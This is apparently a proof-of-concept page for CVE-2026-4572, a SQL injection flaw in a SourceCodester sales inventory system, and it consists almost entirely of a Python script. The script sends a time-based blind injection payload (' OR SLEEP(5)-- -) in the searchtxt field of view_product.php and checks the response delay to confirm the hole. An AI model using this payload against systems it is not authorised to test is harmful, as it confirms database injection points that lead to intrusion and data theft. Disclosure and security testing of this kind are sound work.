CVE-2026-4572 SourceCodester销售库存系统SQL注入漏洞

import requests def check_sqli_vulnerability(target_url): """ Proof of Concept for CVE-2026-4572 Tests for SQL Injection in searchtxt parameter """ target_endpoint = f"{target_url}/view_product.php" # Payload using time-based blind SQL injection technique # This attempts to cause a delay of 5 seconds if the database executes the sleep command payload = "' OR SLEEP(5)-- -" # Data to be sent via POST request post_data = { "searchtxt": payload } try: print(f"[*] Sending request to {target_endpoint}...") response = requests.post(target_endpoint, data=post_data, timeout=10) # Check if the response time indicates successful execution (approx 5 seconds) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or payload failed.") print(f"[-] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli_vulnerability(target)